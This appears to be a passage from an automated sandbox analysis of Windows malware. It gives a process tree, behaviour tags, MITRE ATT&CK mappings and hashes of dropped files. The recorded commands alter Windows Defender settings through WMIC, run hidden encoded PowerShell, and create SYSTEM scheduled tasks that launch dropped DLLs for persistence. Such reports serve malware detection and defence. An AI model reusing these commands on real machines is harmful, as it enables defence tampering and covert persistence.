C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2024
-
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"4⤵PID:624
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True5⤵PID:1876
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2420 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1820
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\OniiUkVuU\QDjcPt.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "yDlQlQjTItyRqSH" /V1 /F3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2624
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yDlQlQjTItyRqSH2" /F /xml "C:\Program Files (x86)\OniiUkVuU\vAXiPmh.xml" /RU "SYSTEM"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2264
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "yDlQlQjTItyRqSH"3⤵PID:2084
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "yDlQlQjTItyRqSH"3⤵PID:2384
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "JTZgHJltaGFKim" /F /xml "C:\Program Files (x86)\NFFblPWVSTUU2\ZIPoIhp.xml" /RU "SYSTEM"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2940
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ebqgbGspXpXbN2" /F /xml "C:\ProgramData\RfQdYYQjhFJxkqVB\tcvLCto.xml" /RU "SYSTEM"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2580
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "fKsAjLTIAPWjkpmTj2" /F /xml "C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR\wlSPlev.xml" /RU "SYSTEM"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1980
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "etkoUubEiiZzrHIDvkg2" /F /xml "C:\Program Files (x86)\oMPLyiqsgsRtC\cDVmEQp.xml" /RU "SYSTEM"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1952
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "DxfwWIkYFsDOIQKWf" /SC once /ST 11:18:26 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\RkUDfeHyKRZhrXlO\ePCHziIH\dnFcDAr.dll\",#1 /YadidEDJR 525403" /V1 /F3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1796
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "DxfwWIkYFsDOIQKWf"3⤵PID:1700
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "akamOyUwOLVWEybrw"3⤵PID:1696
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1640 -s 15603⤵
- Loads dropped DLL
- Program crash
PID:2024
-
-
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\RkUDfeHyKRZhrXlO\ePCHziIH\dnFcDAr.dll",#1 /YadidEDJR 5254032⤵PID:2600
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\RkUDfeHyKRZhrXlO\ePCHziIH\dnFcDAr.dll",#1 /YadidEDJR 5254033⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2624 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "DxfwWIkYFsDOIQKWf"4⤵PID:300
-
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {C65194B9-6A0A-4A9C-BD3C-946D33049AF2} S-1-5-21-3450744190-3404161390-554719085-1000:PDIZKVQX\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2168 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:2396
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2328 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:1440
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1736 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:792
-
-
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:1936
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:1624
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2988
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5c13244721075ff9105886dd64260f32e
SHA11ebd64c6c9f2d23157e1a129a80b31bf6541e979
SHA256f03747bb17ea57a53212fc577cc8d3fc5c2a4f189ed5910d4725a61543d14858
SHA512592a96580296cc84313a0792ba132721008b488edf7076a614521678c000ab99928cc098f4a5a3b45ec15a1b2417c062bf71ebea9824db23c3dfbc7730639692
-
Filesize
2KB
MD5e750a9e1b07c120310dfef56ec91971a
SHA179e81ee8b4ed4363cf87984c64d62793fb47d890
SHA256d1ae015d4781949303d2fd5ccf5f1b87c9168cbe6f4f483630bd54f4aff33e4f
SHA512482a7b602eede7c21c8728542fdd8cc84231c5cb72763b94886757ce6c3efcc87190244c68ecce204bcd9aa6ac441ec300bd632e5738036e39d9e5b992ea6606
-
Filesize
2KB
MD52a3c63c72b0a68aecc8bc6e5382f7e90
SHA1cd872733ec708689582ec64eb6d21a2140060797
SHA256b6479b47dd08a062134d9de37a64e9381a13f113fee06241ff6eed14bdaf5be1
SHA5122912ac445711c10f22a075cda2f293657e0413b5e897812b4bc457a5dec7b40961a69e0f5ca345b56641a35e085910384eeff5de70562affd611c564761e32f8
-
Filesize
2KB
MD53b776503db4b5658e5962f061e277c31
SHA184960d0570df890e0cdf375bb2437751f777da2a
SHA256e3afef6b1705011b821a83243e637557d0499724fc0bebce59f2b1c9dee28e70
SHA5124ac15632473a14ce0f326a40cd433566188edf8c4c37f63daf87eb149b3c31db55019ae8e1db9570588e62f623d20136c1597c1bda1b14a3c3ede3e5d8c25e60
-
Filesize
2.0MB
MD5842c180d1452b5feca93955e17c5b0ca
SHA1224238cf0f50367e1926da1ef8e07100ef3d6527
SHA2567ee6e722d9b2396957d395f9b2afed9f148653e8a0682e6013c60f99ae36582e
SHA512439b8dba703a701ba7fa00d8d2af0455b389d9fa344b85744fd4bdf7038e7b27ac8eea3897df1c66a8734bafa288e72d17219c468c9521be9b4b5e8bdaad0f28
-
Filesize
2KB
MD519b961d8734fc292caaf8210921af6e2
SHA1f8902dc4600aa9adc0feb83b4d7ef453d91095cd
SHA2563051112264f77371bd1ca6d570b5bb2a5d27aef272905aaf8304a04572fe5a87
SHA51219b0541b0f7d9369fe9209878306c3237ba7c119ab0fae1326a29a7f4bd8249faa8be0c75014312bb87bcfdfaecf8b84b41e69f8c5ab272d3c0875735dbd5944
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
10KB
MD55d603bffa96351b380838cc3a747e74b
SHA1cf27cab2556849b7b222ab051a8743c2e7f5db47
SHA256b7042e607887e0aa2ce28b920d6e75c51acc90ac6c28be6b137cb15010db26fe
SHA512a44b1e74621f2185b5aa4ee2a7959b1d02bb4800435d8be7041c2c5f4fdeb3579940d0c65c15bdca97845141745143de751e121f0da22c703c87edfdfdf48120
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5d438868d9b4b4034cfe0b6c43b86ce4e
SHA1e32db52546b8520d9950211df538437bf215f444
SHA256d64ddfb9cec0fdd4a4ce6b3e47370966a66e73515b4b7b6382c73c8b37a3c3b3
SHA5129a9c7707877df6eab87a6daf48059c60b5d38c4510afcb3d727e136fff3499072d115f64b9d708577725d423eb8965f0325b593e180da1dd96fecd2f91d6d4d1
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PW7B2NHJ7CG0LVBOBNZC.temp
Filesize7KB
MD57f400c55a593b47e6883251e0dc14cda
SHA142933c412eff8010b2d2e8924d25377412259816
SHA256bc6c37882a995e08e5cd6b00a4819fb9245813b31090449e186f553b62726d46
SHA512ab40d863a8e25157dfc0e61f9c137ac800fb736b0d871abd3c9e27e9ca02629454e7f01995fddbad35d3c36f93512025bf9a945beeb7ce3f73b5036a4c973d55
-
Filesize
7KB
MD5e44c0ef6c1de761777983e42df6292f9
SHA1882b34fc99446a07fa6f4fbccf811a4f19802e6c
SHA256f86d2670d9753e2bb917792f56ade554e472b626975c3ef060ba5209da8ede90
SHA51283efbbf7afe945e2393c7f72e4a00fcacccc314c65b5e20f6e9866d8a964194aadb90fc0f9032e20a0aff7b3464b5cce9a948c6682822cd4c416f8354348f218
-
Filesize
6.4MB
MD5e1e4349f77244f2529eca36471a1b3c4
SHA1e71982e57783d0cdc2464b0033f1636076b8ebb3
SHA25645fe506d58bd345b130409725086d7ecbcd237731b793ff5fc8ee087c7b3ed56
SHA512b2f087bab7963b17a0676432bc54494ed5e30950d63bd5d61f128557235991b5bb74b05e851a4f1fdf97b3af9b0559d817f77046c0a57b896ab7f5fd833f1f7c
-
Filesize
9KB
MD5d3007adb4d6fe4459922bf5eaf5dd988
SHA176ea2532f6137549d603460d5788211a4a203b00
SHA256a96192ca7c596d3b7cf4643d3aa0f2905f07115928333c38b26884096779f2b6
SHA512ea0d442fefc5c9ed94cf78863a75910a644eb7abc85d16187f16bed76b8526e1e819c195d680ee8f3e1044d24f99505bc8d0d2124b052d6ec74df59574cc9c29
-
Filesize
5KB
MD5fe6a7fa86ce140d679b064af06b23da0
SHA1dec23a9ac5c7016f0f7138b0f01a9303f9656ae3
SHA2564e91f35ba55feae7fc1a838dec9db840c96b73e0875bcfb8513e111bf88e43df
SHA5126767722bfcb6bb8dbe9b80d9c298770bdf904b6354e567d161e5c2b29df7f14f9c623e5ea5f8cfbd3ebd0c79d085fcb50a60bac3974ee2c35943de6d5dd858fd
-
Filesize
6.4MB
MD534f0cb01bcd03084adb5450542a74319
SHA1b0852eabca7368b3722ae94eee454f8d279576bf
SHA25609ca9b0cc994b60b0b5c1c3e147f182fd3632564fef8227a41ed81da09d2187b
SHA5123e29eb04193370ba36cd987c8dbc26987cec849855b57e5a91cca56af6d15989f68fcc9dccbe1e3794682ab3bb41cb20e6f7bc535e16285cb56320681050b693
-
Filesize
6.7MB
MD5115546cac410b9675cb9347e7cf7d64a
SHA11302b93e02fae2423d22c47e82cab233c07c5f7b
SHA2560dbe6c46489c63ff8c3638be1ea4657a226978643fd3411df5b56196a052e67c
SHA5125d6db68fe38e7797fea57ee06397365c063179fed0855b4728a18bfa2f8785fd2190a9b3e14e39e2d66ba04410066b313a3169cebfa11c3e0c70e902b9f89a9f